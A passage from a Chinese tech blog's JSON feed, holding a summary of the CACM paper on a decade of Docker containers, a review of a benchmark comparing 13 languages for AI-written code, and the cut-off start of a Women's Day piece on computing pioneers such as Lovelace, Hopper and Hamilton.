func()，藏着这位 92 岁老人的毕生心血"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/09/a-decade-of-docker-containers\n大家好，我是Tony Bai。\n2013年，当 Solomon Hykes 在 PyCon 上首次演示 Docker 时，他用一种名为“容器”的魔法，将开发者从依赖地狱中解救了出来。转眼间，十三年过去了。今天，Docker Hub 托管着超过 1400 万个镜像，每月拉取量超 110 亿次。它不仅是 Kubernetes 的基石，更是从流媒体到太空探索的底层引擎。\n表面上看，Docker 只是简单的 build, push, run。但在这极简的开发者体验背后，是横跨操作系统、虚拟化、网络架构和硬件驱动的深水区。近日，Docker 领域的三位重量级人物（Anil Madhavapeddy, David J. Scott, Justin Cormack）在ACM通信上联合发表了万字长文《A Decade of Docker Containers》，首次全景式披露了 Docker 十年来的核心技术挑战与架构演进。\n本文将带你一起解读这篇重磅论文，了解一下Docker这十年来背后不为人知的精彩故事。\n容器的起源：寻找“妥协的艺术” 在 2000 年代初，配置一台服务器是一场噩梦，你需要手动解决各种动态库的依赖冲突。到了 2010 年代，云计算兴起，主流的隔离方案是虚拟机（VM）。\n虚拟机虽然隔离性好，但极其笨重。它需要完整的客户机内核、独立的虚拟磁盘和重复的内存开销。如果你只想在一台机器上跑十个轻量级微服务，虚拟机显然不是最优解。\n另一方面，早期的 Linux 提供了一些原生隔离工具（如 1978 年引入的 chroot），但它们无法解决网络端口冲突等问题。像 Nix 和 Guix 这样的系统试图通过重组文件目录来解决依赖问题，但这要求重写所有的软件打包方式，门槛极高。\nDocker 的天才之处，在于它找到了一种“务实的妥协”：利用 Linux Namespaces。\nNamespaces（命名空间）并非 Docker 发明。自 2001 年起，Linux 内核逐步引入了 Mount（文件系统）、IPC、Network 等七种命名空间。它们允许在共享同一个系统内核的前提下，让每个进程拥有独立的资源视图。\n如上图所示，通过 Mount Namespace，容器 A 看到的是 /alice/etc/passwd，而容器 B 看到的是 /bob/etc/passwd，但它们都以为自己访问的是根目录下的 /etc/passwd。这种机制的开销远低于启动一个完整的 Linux VM，通常只需不到一秒即可完成环境隔离。\nDocker 将这些原本低级且晦涩的内核 API 进行了高层封装，结合基于联合文件系统（如 overlayfs）的层级镜像（Layered Images）机制，彻底奠定了容器技术的物理基础。\nDocker守护进程最初是一个单体程序，但在 2015 年左右，Docker团队将其拆分为如下图所示的 7 个专用组件。第一个组件 buildkit 负责组装文件系统镜像，然后 containerd 管理将这些镜像实例化为运行中的容器，并配置相关的网络和存储资源。\n跨越系统鸿沟：Docker for Mac/Windows 的工程奇迹 Docker 诞生之初有一个致命的局限：它只能在 Linux 内核上运行。\n但在现实世界中，绝大多数开发者使用的是 macOS 或 Windows 笔记本。为了让这些开发者能在本地顺畅地构建和测试容器，Docker 团队面临着其历史上最大的工程挑战之一：如何在非 Linux 宿主机上，提供与 Linux 原生体验一致的 docker run 和 localhost 访问？\n抛弃 VirtualBox，走向“库操作系统” 最初，开发者必须使用 VirtualBox 这样的重量级独立虚拟机来运行 Linux。这种体验是割裂的：你需要管理虚拟机的生命周期，网络端口映射极其繁琐。\nDocker 团队决定重构架构。他们采用了一种被称为“库虚拟机监控器（Library VMM）”的先进理念，结合了他们在 Unikernel 领域的研究成果。\n如上图所示，在 macOS 上，Docker 开发了 HyperKit，利用 Apple 原生的 Hypervisor 框架，将一个极简的 Linux 虚拟机（基于定制的 LinuxKit 操作系统）直接嵌入到了 Docker 桌面端应用进程中。开发者在终端敲下的 docker build 命令，会通过隐形的 AF_VSOCK (虚拟套接字) 直接发送到这个嵌入式 Linux 内核中的 dockerd 守护进程。\n这种设计使得虚拟机变得“隐形”，实现了无缝的客户端-服务器交互。\n网络的黑魔法：复活 90 年代的拨号技术 有了隐形虚拟机，更大的麻烦来了——网络联通性。\n传统的桥接网络（Bridged Network）在企业环境中经常被防火墙和安全软件拦截，因为这种网络流量看起来像是绕过了宿主机网络栈的“未知进程”。同时，开发者希望在容器内监听 80 端口后，能在 Mac 的浏览器里直接通过 localhost:80 访问。\n为了解决这个问题，Docker 团队做出了一个疯狂的决定：他们复活了一个诞生于 1990 年代中期、最初用于 Palm Pilot PDA 拨号上网的古老工具——SLIRP。\n如上图所示，Docker 团队用 OCaml 语言重写了一个用户态的 TCP/IP 协议栈（命名为 vpnkit）。\n当 Linux 容器内的应用尝试建立 TCP 连接时。 容器内的以太网帧通过 Virtio 协议传输到宿主机（Mac/Windows）。 宿主机上的 vpnkit 拦截这些底层数据包，并将其翻译为 macOS/Windows 原生的 Socket API 调用（如 connect()）。 这样一来，从企业防火墙的角度看，所有的网络请求都像是 Docker Desktop 这个普通应用程序发出的，从而完美绕过了安全拦截。这项被称为 SLIRP 的古老技术，在云原生时代焕发了第二春，将企业用户的网络 Bug 报告减少了 99% 以上。\n存储桥接与 Windows WSL2 不仅是网络，存储同样面临跨系统的挑战。Linux 的“绑定挂载（Bind Mount）”无法直接跨操作系统工作。Docker 利用 virtio-fs 协议，将 Mac/Windows 的文件系统操作转换为 FUSE 请求发送给宿主机，实现了代码热重载。\n而在 Windows 阵营，随着 2018 年微软推出 WSL2（Windows Subsystem for Linux 2），情况迎来了转机。WSL2 本质上是在后台运行了一个高度优化的轻量级 Linux 虚拟机。Docker 顺势而为，将 Docker 引擎直接集成到 WSL2 中，彻底消除了早期使用 Hyper-V 时的性能损耗和体验割裂。\n迈向异构计算时代：ARM、TEE 与 GPU 进入 2020 年代后，基础设施硬件发生了翻天覆地的变化。Docker 的技术版图也被迫（且成功地）向异构计算延伸。\n跨架构构建的痛点：ARM 崛起 随着 Apple M 系列芯片和 AWS Graviton 架构的普及，开发者不再局限于 x86 (AMD64) 架构。Docker 必须支持“一次构建，多架构分发”。\n除了在 OCI 镜像规范中引入“多架构清单（Multi-arch Manifests）”外，Docker 还利用了 Linux 的一个冷门特性 binfmt_misc，结合 QEMU 模拟器。这使得开发者在 Mac M1（ARM）上构建镜像时，遇到 x86 的二进制指令，可以透明地通过 QEMU 翻译执行。虽然在构建阶段有性能损耗，但这完美解决了交叉编译的噩梦。\n拥抱机密计算（TEE） 随着安全要求的提高，机密计算（Confidential Computing）成为热门。可信执行环境（TEE，如 Intel SGX 或 AMD SEV）允许在内存中创建一个被硬件加密的飞地（Enclave），甚至连宿主机操作系统都无法窥探其中的数据。\n由于配置 TEE 的复杂度极高（相当于在里面启动一个微型内核），Docker 将其客户端-服务器架构发挥到了极致。开发者可以在本地使用 Docker CLI，将加密信息通过安全的 Socket 转发，直接部署并管理运行在云端 TEE 环境中的容器，兼顾了本地开发的便利性和云端的极致安全。\nAI 的大考：GPU 容器化 2023 年以来，AI 工作负载的爆发给容器带来了全新的难题：GPU 强绑定。\nDocker 的初衷是解耦底层的硬件和系统，但 GPU 驱动却要求容器内的用户态动态库（User-space libraries）与宿主机的内核态驱动（Kernel driver）必须严格版本匹配。\n为了解决这个矛盾，Docker 从 2023 年起全面支持了 容器设备接口（Container Device Interface, CDI）。这允许在容器启动时，动态地将特定 GPU 的设备文件和动态库“绑定挂载”到容器中，并重新生成链接器缓存（ld.so cache）。\n然而，论文作者也坦言，目前的解决方案远未完美。GPU 的标准化程度远不及 CPU，针对 Nvidia GPU 编写的应用容器，依然无法在 Apple 的 M 系列 GPU 上无缝运行。硬件虚拟化和指令集翻译在 GPU 领域仍是一个巨大的挑战，整个社区仍在寻找更通用的抽象层（如 Triton 等中间语言）。\n未来展望：当 Docker 遇见 AI Agent 时间来到 2026 年，软件开发的范式正在被 AI 重塑。\n如图所示，今天的开发者工作流（Workflow）已经不仅仅是 build 和 run。它融合了持续部署、云端卸载（Docker Build Cloud）、以及运行在容器内的 AI 智能体（Agentic Coding）。\n未来的AI 智能体将通过 MCP（模型上下文协议，Model Context Protocol）直接调用容器内的工具和环境进行代码的编写、测试和调试。在这个过程中，Docker 扮演了一个“隐形的安全沙箱”。它必须足够轻量，以便 AI Agent 瞬间启动成百上千个测试环境；又必须足够安全，防止 AI 生成的未知代码破坏宿主机甚至横向渗透网络。\n小结 回望这十年，Docker 的成功绝不是偶然。它不是一项单一的颠覆性发明，而是一系列持续不断的、精妙的系统工程组合拳。\n从最初利用 Linux Namespaces 寻找轻量级虚拟化的平衡点，到为了征服 macOS 和 Windows 桌面端而重构底层虚拟化和网络协议，再到如今积极适配 ARM、TEE 和 GPU 等异构硬件，Docker 始终在做一件事：为开发者屏蔽掉底层基础设施的混乱，提供一个统一、优雅、且安全的“集装箱”。\n在不可预测的 AI 时代，底层的复杂性只会呈指数级上升。而我们需要像 Docker 这样久经考验的基础设施，在幕后默默地为每一次“创新”提供稳固的地基。\n正如论文作者所言：“如果说我们有一个终极目标，那就是让 Docker 成为一个隐形的伴侣。你看不见它，但它能让你更快、更享受地交付代码。”\n资料链接：\nhttps://cacm.acm.org/research/a-decade-of-docker-containers/ https://thenewstack.io/how-balenaos-ran-the-first-docker-containers-in-space/ 你的第一个容器跑的是什么？\n回望十年，Docker 已经从一个“玩具”变成了世界的底座。你还记得自己第一次运行 docker run 时的感受吗？在你的开发流中，Docker 解决过的最让你难忘的 Bug 是什么？\n欢迎在评论区分享你的 Docker 记忆或对“AI 容器”的脑洞！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/09/a-decade-of-docker-containers/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/a-decade-of-docker-containers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/09/a-decade-of-docker-containers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/09/a-decade-of-docker-containers\"\u003ehttps://tonybai.com/2026/03/09/a-decade-of-docker-containers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2013年，当 Solomon Hykes 在 PyCon 上首次演示 Docker 时，他用一种名为“容器”的魔法，将开发者从依赖地狱中解救了出来。转眼间，十三年过去了。今天，Docker Hub 托管着超过 1400 万个镜像，每月拉取量超 110 亿次。它不仅是 \u003ca href=\"https://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster\"\u003eKubernetes\u003c/a\u003e 的基石，更是从流媒体到\u003ca href=\"https://thenewstack.io/how-balenaos-ran-the-first-docker-containers-in-space/\"\u003e太空探索\u003c/a\u003e的底层引擎。\u003c/p\u003e","title":"Docker 的十年：重塑云原生基础设施的“底层炼金术”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/09/hardcore-review-13-languages-ai-favorite-go-performance\n大家好，我是Tony Bai。\n随着 Claude Code、Gemini Cli、Codex 等 AI 编程工具的全面普及，“让 AI 写代码”已经从极客的玩具变成了日常的生产力。随之而来的是一个触及灵魂的问题：哪种编程语言最适合交给 AI 去写？\n作为 Gopher，我们一直为 Go 语言的“极简语法”、“极速编译”和“强类型安全”感到自豪。我们理所当然地认为，这种没有任何隐式魔法、像白开水一样的语言，绝对是 LLM 的最爱。\n然而，现实总是比直觉更骨感。近日，Ruby 核心提交者 Yusuke Endoh（@mame）发布了一份名为 ai-coding-lang-bench 的硬核定量测评报告。他使用 Claude Code（Opus 4.6 模型）对 13 种主流编程语言进行了系统性横向对比。\n在这场涵盖了动态语言、静态语言和函数式语言的混战中，Go 语言的表现究竟如何？ 是力压群雄，还是黯然失色？那些备受人类推崇的静态类型系统，在 AI 面前是否成了累赘？\n本文和大家一起阅读和拆解这份报告，为你揭晓 AI 时代的语言偏好图谱。\n实验设计：让 AI 写一个 Mini-Git 在评价这份报告之前，我们先来看看它的实验设计，这是目前业内少见的、针对 AI Agent 的工程化能力的量化评估。\n任务目标：让 Claude Code (Opus 4.6) 从零开始实现一个 mini-git（简化版的 Git）。这是一个极具代表性的任务，它包含了文件 I/O、哈希计算、数据结构操作以及命令行接口，足以考验模型对语言生态的综合运用能力。\n测试被巧妙地分为两个阶段，模拟了真实的软件生命周期：\nv1 (新项目构建)：实现基础的 init, add, commit 和 log。 v2 (特性扩展)：在 v1 的基础上，增加 status, diff, checkout, reset, rm, show 等复杂指令。 提示词（Prompt）极其极简：“阅读 SPEC-v1.txt，实现它，并确保 test-v1.sh 测试通过。”这种设计最大程度地减少了人类指令的干预，纯粹考验 AI 代理在闭环环境下的自主编码、调试和测试能力。\n参赛选手（13种语言/15种配置）：\n动态语言：Python, Ruby, JavaScript, Perl, Lua 动态+类型检查器：Python/mypy, Ruby/Steep 静态语言：TypeScript, Go, Rust, C, Java 函数式语言：Scheme (动态), OCaml (静态), Haskell (静态) 每种语言配置运行 20 次，以消除 LLM 生成的随机性带来的误差，并统计其耗时（Time）、成本（Cost，即 Token 消耗）和代码行数（LOC）。\n核心发现：动态语言逆袭，Go 位居第二梯队 如果仅看总耗时和总成本（v1 + v2），测试结果呈现出了令人瞩目的阶梯式分布。\n第一梯队：Ruby, Python, JavaScript 的绝对统治 在这场 AI 编程竞速中，Ruby（73.1s）、Python（74.6s）和 JavaScript（81.1s）组成了无可争议的第一阵营。\n它们不仅生成速度最快、消耗 API 成本最低（均在 $0.40 以下），而且在 20 次测试中表现出了极高的稳定性（标准差极小）。\n对于 AI 来说，生成这三种语言的代码就像呼吸一样自然。它们无需繁琐的项目初始化配置（如 Cargo.toml 或 package.json），可以做到“建个文件直接跑”，这种极简的工作流在 v1 阶段（新项目构建）优势极大。\n第二梯队：被“强类型”拖慢脚步的 Go 与 Java 现在，来回答大家最关心的问题：Go 表现如何？\n答案是：位居第二梯队。Go 的总耗时为 101.6s，平均成本 $0.50。中规中矩。Go 虽然在语法上非常克制，但依然落后于 Python 和 JS 等动态语言。与之类似，Java（115.4s）也因为繁琐的语法结构和强类型约束，留在了这一梯队。\n尽管如此，Go 在整个 20 次测试中没有出现一次失败（0 次 fail），这证明了 Go 的编译器在防止 AI 产生“幻觉 Bug”方面，发挥了极其可靠的安全网作用。\n“后进生”阵营：Rust 与 C 的挣扎 备受人类极客推崇的 Rust（113.7s，且有 2 次失败）和底层的 C（155.8s）在测试中显得步履维艰。\n尤为值得注意的是，在总共 600 次的独立运行中，只有 Rust (2次) 和 Haskell (1次) 出现了测试失败（未能最终跑通 Shell 脚本）的情况。这两门语言都以其极高的心智负担和“编译器教你做人”的严格程度而闻名。\n这也是将Rust列入“后进生”阵营的主要原因。如果用《飞驰人生》的拉力赛来比喻，Rust 相当于在40站的赛季中，有两站没能完赛！\n深度剖析：为什么 AI 更偏爱动态语言？ 在传统的工程视角中，“静态类型防止低级 Bug”、“动态语言难以维护”是金科玉律。但在 LLM 驱动的 Agent 开发流中，这个逻辑为何失效了？作者 Yusuke Endoh 提出了几个关键的解释维度。\n训练数据的“虹吸效应” LLM 的能力直接取决于训练语料的规模和质量。Python、JavaScript 和 Ruby 是过去十几年 Web 开发的绝对主流。GitHub 上海量的这三种语言的开源代码、StackOverflow 上的问答，为 Claude Code 提供了极其丰富的“预训练肌肉记忆”。\n当 AI 需要实现一个功能时，它在 Python 的隐空间（Latent Space）中寻找最优解的路径，远比在 Haskell 甚至 Rust 中要清晰、笔直得多。\n静态类型的“双刃剑”与重构阻力 静态类型系统的初衷是约束人类，防止我们在重构时犯错。但在 AI 的“ Prompt -\u0026gt; 生成 -\u0026gt; 测试报错 -\u0026gt; 思考 -\u0026gt; 再生成”的迭代循环中，严格的类型检查反而成了巨大的“摩擦力”。\n编译成本与调试死锁：在 Rust 或 C 中，当 AI 生成的代码出现类型不匹配时，它需要花费大量的 Token 去阅读复杂的编译器报错信息。有时，为了解决一个简单的借用检查器（Borrow Checker）报错，AI 可能会陷入漫长的、无休止的“试错-编译失败”死循环。 重构牵一发而动全身：在 v2 特性扩展阶段，往往需要修改现有的数据结构。对于 Python，AI 只需要在字典里加个 key；而对于 Rust 或 Java，这可能意味着需要重构一系列的 Struct、更新类型签名、甚至修改与之相关的无数个函数的参数声明。这种“爆炸半径”极大地增加了耗时。 “附加类型检查”的巨大损耗 报告中一个非常有意思的对照组是：原生动态语言 vs 附加类型检查器的动态语言。\nPython (74.6s) vs Python/mypy (125.3s) —— 变慢了 1.6~1.7 倍。 Ruby (73.1s) vs Ruby/Steep (186.6s) —— 变慢了 2.0~3.2 倍！ 这证明了，迫使 AI 在动态语言中编写严谨的类型注解（Type Annotations），是一项极其昂贵的任务。模型需要耗费额外的算力去推导类型、生成类型声明文件，并且在类型检查器报错时，还要去修复那些在纯动态模式下可能根本不影响运行的“伪 Bug”。\n代码量（LOC）的迷思：越短越好吗？ 我们通常认为，写得越少，跑得越快。但数据打破了这个迷思。\nHaskell 和 OCaml 生成的最终代码行数（224行和 216行）是所有语言中最少的，甚至少于 Python 和 Ruby。然而，它们在生成时间上的表现却排在倒数（Haskell 耗时最长，达 174s）。\n这表明，对于 AI 来说，函数式语言那种高度抽象、信息密度极大的代码，生成和推理的成本远高于像 Python、Go 那种稍微啰嗦但逻辑平铺直叙的“大白话”代码。浓缩的未必是精华，对于 LLM 来说，高度浓缩往往意味着更高的生成熵和更高的试错概率。\n行业启示：我们需要重新思考 AI 时代的技术栈选型 面对这份详实的基准测试报告，无论你是 CTO 还是普通开发者，都必须开始重新审视未来的技术选型逻辑。\n动态语言是快速原型的“绝对王者” 如果你正在启动一个新项目，或者需要用 AI Agent 快速验证一个业务流程，Python 和 TypeScript 是首选（报告中 JavaScript 表现优于 TS，但在实际工程中 TS 的综合权衡更佳）。\n不要迷信“大型项目必须一开始就上强类型编译语言”。在需求快速变化的初期，让 AI 用动态语言狂飙突进，是获取业务反馈最高效的手段。\n性能王者们的困境：Go 与 Rust 在 AI 时代掉队了吗？ 看到测评数据，很多 Gopher 可能会感到失落：难道注重工程严谨性和系统级性能的静态语言，真的在 AI 时代掉队了吗？\n结论并非如此悲观。我们需要明确一点：Agent 测评的速度，不等于软件最终运行的速度。\n业务试错 vs 基础设施：AI Agent 目前最擅长、也最快速能完成的，是写“胶水逻辑”和“业务 CRUD”。在这些领域，Python 确实快。但当你的系统涉及到高并发、内存精细控制、或者需要打包为轻量级容器部署时，人类依然需要 Go。 容错的底线：在这场 600 次的庞大测试中，只有 Rust 和 Haskell 出现了最终测试失败，而 Go 保持了完美的 100% 成功率。这恰恰说明，Go 在“极度灵活（易幻觉）”与“极度严格（难生成）”之间，找到了一个非常微妙的平衡点。它可能不是 AI 写得最快的，但它一定是 AI 写出来最让人放心的系统级语言。 我们不应期待 AI Agent 能够像写 Python 脚本一样，如德芙般丝滑地生成出一个复杂的 Go 并发系统。但在 AI 给出的初稿之上，Go 语言极佳的可读性和统一的规范，将为人类工程师的最终审查（Code Review）节省巨大的精力。\n小结：下一个十年的编程语言，长什么样？ ai-coding-lang-bench 给我们上了生动的一课。它揭示了当前 LLM 的偏好：它们喜欢有海量训练数据的、灵活的、不需要应对死板编译器的语言。\n但我们必须认识到，这只是一份基于 2026 年初模型（Claude Opus 4.6）的快照。未来的 AI 编程语言形态，可能会朝着两个方向演进：\nAI Native 语言的诞生：抛弃目前设计给人类阅读的语法，出现一种专门为了降低 LLM 生成 Token 成本、且天然抗幻觉的机器中间语言。 现有静态语言的“Agent 友好化”编译模式：Go 和 Rust 可能会进化出一种特殊的编译模式。在这个模式下，编译器不仅是冷冰冰地报错，还能以结构化的、对 LLM 更友好的方式提供“修复建议”，从而大幅缩短 Agent 修复编译错误的反馈回路。 无论如何，浪潮已经来临。在 AI 主导代码生成的新时代，我们评价一门编程语言的标准，正在从“它对人类大脑是否友好”，悄然转变为**“它对大模型推理是否友好”**。\n而在这场新赛道上，动态语言们，已经抢跑了。\n本文核心数据与图表均来源于 GitHub 项目 mame/ai-coding-lang-bench。\n你的 AI 编程初体验\n看完这个排名，你是感到意外，还是早已感同身受？在你日常使用 AI 编程时，你觉得它写哪种语言最让你省心？你是否也曾为了修一个 AI 写的编译错误而陷入“死循环”？\n欢迎在评论区分享你的“AI 协作”红黑榜！\n“语言的严格性正在变成 AI 的摩擦力？在 AI 时代，掌握一套能驱动 Agent 自动化、自修复的‘工作流’比死磕语法更重要。我的新专栏 《AI原生开发工作流实战》 将教你如何利用 Claude Code 结合 Spec 驱动开发，构建真正高产出的‘软件工厂’。”\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/03/09/hardcore-review-13-languages-ai-favorite-go-performance/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/hardcore-review-13-languages-ai-favorite-go-performance-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/03/09/hardcore-review-13-languages-ai-favorite-go-performance\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/03/09/hardcore-review-13-languages-ai-favorite-go-performance\"\u003ehttps://tonybai.com/2026/03/09/hardcore-review-13-languages-ai-favorite-go-performance\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着 \u003ca href=\"http://gk.link/a/12EPd\"\u003eClaude Code\u003c/a\u003e、\u003ca href=\"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzIyNzM0MDk0Mg==\u0026amp;action=getalbum\u0026amp;album_id=4067128336651386882#wechat_redirect\"\u003eGemini Cli\u003c/a\u003e、Codex 等 AI 编程工具的全面普及，“让 AI 写代码”已经从极客的玩具变成了日常的生产力。随之而来的是一个触及灵魂的问题：\u003cstrong\u003e哪种编程语言最适合交给 AI 去写？\u003c/strong\u003e\u003c/p\u003e","title":"硬核测评：哪门语言最受 AI 宠爱？13 种语言横向对比，Go 表现如何？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/08/her-power-in-code-pioneers-to-ai-era\n大家好，我是Tony Bai。\n当我们闭上眼睛，想象一个“程序员”的形象时，脑海中浮现的画面是什么？\n很长一段时间里，流行文化和媒体在不遗余力地塑造一种刻板印象：穿着格子衬衫、戴着黑框眼镜、不善言辞的男性，在昏暗的灯光下敲击着键盘。硅谷的“兄弟会文化（Bro-culture）”更是将这种刻板印象固化，仿佛编程从诞生之日起，就是一项由男性绝对主导的活动。\n然而，如果我们翻开计算机科学的真实历史，会发现一个令人惊讶，甚至有些反直觉的事实：在计算机刚刚诞生的黎明期，编程，曾经是一项被普遍认为“适合女性”的工作。\n在二战期间，由于男性大量奔赴前线，世界上第一台通用电子计算机 ENIAC 的初代程序员团队，清一色全是由六位杰出的女性组成。她们在没有编程语言、没有编译器的时代，用插拔线缆和拨动开关的纯物理方式，完成了极其复杂的弹道轨迹计算。\n然而，随着软件产业的爆炸式增长，薪资与地位水涨船高，女性在科技行业的比例却开始出现诡异的下滑，她们的名字也逐渐被隐藏在庞大服务器的阴影之中。\n今天是 3 月 8 日国际妇女节。在这个特殊的日子里，让我们暂时停下手中正在 Review 的代码，去擦拭掉历史上的偏见灰尘。我们要重新认识那些在计算机科学发展史上立下不朽丰碑的女性先驱，看看当今站在技术浪潮之巅的领航者，并探讨在汹涌而来的 AI 时代，“巾帼力量”为何比以往任何时候都更加不可或缺。\n历史丰碑：她们写下了改变世界的最初几行代码 代码是没有性别的，但在计算机还是一堆庞大齿轮或真空管的年代，是这些女性赋予了冷冰冰的机器以“逻辑的灵魂”。\n“诗意科学”的先知：Ada Lovelace（埃达·洛夫莱斯） 要追溯程序员的祖师爷，我们必须回到 19 世纪中叶的英国。著名诗人拜伦的女儿，Ada Lovelace，被公认为世界上的第一位程序员。\n当时的数学家查尔斯·巴贝奇正在设计一台名为“分析机”的庞大机械装置。在多数人看来，这只是一个能做加减乘除的超大号计算器。但 Ada 展现出了超越时代一个世纪的惊人洞察力。\n在翻译和注释关于分析机的文章时，她不仅写下了世界上第一段计算机算法（用于计算伯努利数），更重要的是，她写下了一段堪称“预言”的批注。Ada 指出，如果分析机能够处理数字，那么只要将事物（如字母、音乐）转化为数字，机器就能处理任何事物。\n“分析机编织的是代数模式，就像提花织机编织树叶和花朵一样。”\n这是一种被称为“诗意科学”的浪漫与理性的结合。Ada 早在计算机诞生前 100 年，就看透了现代计算机的本质：它不仅仅是计算工具，而是通用的信息处理引擎。今天美国国防部开发的 Ada 语言，正是为了纪念这位伟大的女性“先知”。\n编译器的鼻祖与“捉虫”专家：Grace Hopper（格蕾丝·霍珀） 如果说 Ada 给出了灵魂，那么 Grace Hopper 则是真正让机器“听懂”人类语言的架构师。\n在 20 世纪 50 年代，程序员们必须用极其难懂的二进制机器码来编写指令。这种方式不仅痛苦，而且极易出错。Hopper 坚信，程序员应该能够用接近英语的语言来编写代码，然后再由机器自己将其翻译成机器码。\n当她提出这个想法时，遭到了几乎所有同行的嘲笑和拒绝。他们认为“计算机只能懂数字，不可能懂英语”。但 Hopper 是一位拥有美国海军准将军衔的“硬核”女性，她顶住了所有压力，成功开发出了世界上第一个编译器 A-0，并直接主导了后来统治商业系统数十年的 COBOL 语言的诞生。\n除了这项伟大的技术发明，Hopper 还给全世界程序员留下了一个最常用的口头禅。1947 年，她在哈佛大学的一台继电器计算机里发现了一只导致故障的真实飞蛾（Moth）。她将这只飞蛾粘在日志本上，并在旁边写下：“First actual case of bug being found.（发现的第一个真正的 Bug）”。从此，程序员排查错误的过程，就永远被称为了 “Debug”（除虫）。\n登月背后的无名英雄：Margaret Hamilton（玛格丽特·汉密尔顿） 有一张在科技史流传甚广的照片：一位年轻的戴着大框眼镜的女性，微笑着站在一堆比她自己还要高的打印源代码旁。她就是 Margaret Hamilton，阿波罗 11 号登月计划的首席软件工程师。\n在 1969 年那个登月舱只有几十 KB 内存的年代，写代码绝不容许有任何试错的空间。更重要的是，在那个年代，“软件”甚至不被认为是一门严谨的工程学科。是 Hamilton 第一次创造了 